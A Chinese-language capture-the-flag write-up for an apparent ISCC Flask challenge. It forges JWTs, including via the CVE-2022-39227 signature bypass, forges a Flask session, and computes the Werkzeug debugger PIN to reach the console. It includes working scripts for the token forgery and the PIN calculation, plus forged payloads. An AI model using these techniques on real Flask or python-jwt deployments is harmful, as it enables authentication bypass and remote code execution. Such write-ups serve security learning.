Nebu1ea 韩磊 [1504895347@qq.com](mailto:1504895347@qq.com)

### Web-Flask中的pin值计算

### 解题思路

进去后有提示，把提示base64解码后得到/getusername，访问路由后给了个回声海螺，输入”告诉我username是什么”，返会pincalculate，说明username=pincalculate，输入app.py提示/crawler路由，

访问/crawler路由，叫我们一秒钟以内算个算式，源代码里算式是从get\_expression路由里获取的，可以写脚本计算并且发包，具体再脚本一。运行完脚本后获取回显

<h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>

<h1>uuidnode\_mac位于/woddenfish</h1>，说明app.py的路由=/usr/local/lib/python3.11/site-packages/flask/app.py

继续访问/woddenfish路由，路由下有session非常可疑，可疑利用jwt伪造发包修改功德数，源码里有个字符串“ISCC\_muyu\_2024”可能是双向加密的密钥，记录下来，再通过jwt.io生成负数的quantity,最终payload: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOi0xMDAwMH0.ZN5ynXCpelPPdzoCGBG2hgMKPt7THEQ3EQMH3jDAI5E,用这个代替原本的json内容，发送后获得回显 "佛曰：功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine\_id"

继续访问/machine\_id路由发现flask的session,解密后内容为{“role”:”member”},那么思路就是获取密钥伪造session，这里需要用到CVE-2022-39227,具体为网络上的脚本，对应下面为脚本二，运行脚本后得到payload: {" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NTUwMjksImlhdCI6MTcxNDU1MTQyOSwianRpIjoiNVFFUklBdmtzSWlGanBDQkgyd3JQUSIsIm5iZiI6MTcxNDU1MTQyOSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTQ1NTUwMjksImlhdCI6MTcxNDU1MTQyOSwianRpIjoiNVFFUklBdmtzSWlGanBDQkgyd3JQUSIsIm5iZiI6MTcxNDU1MTQyOSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"a8xnjhqvaTypdbMUjdHMxusl08DYx4BL3VR50lSgT3O6i0x86oo0At9AsXQF7WAriE3jtknmjWoW2fcahZoUBPN\_w4fnTshuMNjIEjeZHpu9pDDpXu7UaD3PUID3UupZDfmRzo9HIM-nC2iufdB20EvpzobxqfMGIafKUHr86XrRrH6Gq8EKKOggbJwCjZWjEwUrB\_HIWfOkOW6Au77vlWyumg6QVOvykg\_uwrfM6VTrGKA1yujbpmYvJ8wa5TWMpq2UqhfaTgFu35-k4jiue1VHOWv3BZHybtrg8k2fgI8\_ShQGicxVheB8KMiF96\_iU65gn54r\_ygNaqz95aupvQ"}，将payload传给<http://101.200.138.180:10006/vipprice?token=>

得到"welcome\_to\_iscc\_club"，说明这个是密钥，直接伪造flask:

python3 flask1.py encode -s welcome\_to\_iscc\_club -t "{'role':'supervip'}"

最终伪造的payload: eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjH8cg.KyZ7SWW694ItL5k5AM9\_E\_Do7yI

传进去得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

直到现在，计算ping值的参数才全部集齐，跑脚本三获取pin：

Md5Pin: 208-479-340

Sha1Pin: 252-749-991

访问/console路由输入pin即可得到flag

EXP

脚本一：

import requests

po={“http”:None,”https”:None}  
res = requests.get(‘http://101.200.138.180:10006/get\_expression’,proxies=po)  
res1 = requests.get(‘http://101.200.138.180:10006/crawler?answer={}’.format(eval(res.json()[‘expression’].replace("÷","/").replace("×","\*"))),proxies=po)  
print(res2.text)

脚本二：

from json import loads, dumps

from jwcrypto.common import base64url\_encode, base64url\_decode

def topic(topic):

[header, payload, signature] = topic.split('.')

parsed\_payload = loads(base64url\_decode(payload))

print(parsed\_payload)

parsed\_payload["role"] = "vip"

print(dumps(parsed\_payload, separators=(',', ':')))

fake\_payload = base64url\_encode((dumps(parsed\_payload, separators=(',', ':'))))

print(fake\_payload)

return '{" ' + header + '.' + fake\_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NDQ0MzgsImlhdCI6MTcxNDU0MDgzOCwianRpIjoiTzZ3VHhmR096cjdrQTRBemlnamE2QSIsIm5iZiI6MTcxNDU0MDgzOCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.hSUaV-X4mcdxaIglVPQ\_RApAuNCFqSKHFyPzsnHsdtNSDlkCxAx9Hb4OXV7NcSNx6e2FGqveKTh86xWTC6nZPcTtk1BtjQJQ-YlxtCoHfiwNrzI6irlFtUAlekxIMrgJRFfNSrmbduq\_eOiZp1L09F\_dV1Rs1hyotM-1VIVk1HeBzTgSMFVCe-GFqO5g0iwvzDv8UTr0HiD3cYAP43BNdDWJFCNYQjssoAlyX4apamKToJpuQRNztnVqpgy5ZzMVHSL66DXR9EBDT-bgHiNOpm99n2yQKYKjnitSYmmnv\_FPp8WFTBm9H\_Q0LAUUcLGOv3YqgJ\_FyWDhwIVpFQF5wQ'))

脚本三：

import hashlib

from itertools import chain

import argparse

def getMd5Pin(probably\_public\_bits, private\_bits):

h = hashlib.md5()

for bit in chain(probably\_public\_bits, private\_bits):

if not bit:

continue

if isinstance(bit, str):

bit = bit.encode('utf-8')

h.update(bit)

h.update(b'cookiesalt')

num = None

if num is None:

h.update(b'pinsalt')

num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None

if rv is None:

for group\_size in 5, 4, 3:

if len(num) % group\_size == 0:

rv = '-'.join(num[x:x + group\_size].rjust(group\_size, '0')

for x in range(0, len(num), group\_size))

break

else:

rv = num

return rv

def getSha1Pin(probably\_public\_bits, private\_bits):

h = hashlib.sha1()

for bit in chain(probably\_public\_bits, private\_bits):

if not bit:

continue

if isinstance(bit, str):

bit = bit.encode("utf-8")

h.update(bit)

h.update(b"cookiesalt")

num = None

if num is None:

h.update(b"pinsalt")

num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv = None

if rv is None:

for group\_size in 5, 4, 3:

if len(num) % group\_size == 0:

rv = "-".join(

num[x: x + group\_size].rjust(group\_size, "0")

for x in range(0, len(num), group\_size)

)

break

else:

rv = num

return rv

def macToInt(mac):

mac = mac.replace(":", "")

return str(int(mac, 16))

if \_\_name\_\_ == '\_\_main\_\_':

parse = argparse.ArgumentParser(description = "Calculate Python Flask Pin")

parse.add\_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")

parse.add\_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")

parse.add\_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")

parse.add\_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '\_\_file\_\_', None):flask包中app.py的路径")

parse.add\_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")

parse.add\_argument('-i', '--machineId', type = str, default = "", help = "机器ID")

args = parse.parse\_args()

probably\_public\_bits = [

args.username,

args.modname,

args.appname,

args.path

]

private\_bits = [

macToInt(args.MAC),

bytes(args.machineId, encoding = 'utf-8')

]

md5Pin = getMd5Pin(probably\_public\_bits, private\_bits)

sha1Pin = getSha1Pin(probably\_public\_bits, private\_bits)

print("Md5Pin: " + md5Pin)

print("Sha1Pin: " + sha1Pin)